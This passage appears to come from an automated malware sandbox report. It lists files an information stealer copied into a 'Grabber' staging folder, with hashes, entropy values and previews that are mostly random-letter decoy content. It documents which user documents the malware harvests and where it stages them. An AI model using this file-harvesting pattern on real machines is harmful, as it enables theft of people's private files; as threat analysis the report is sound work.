Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
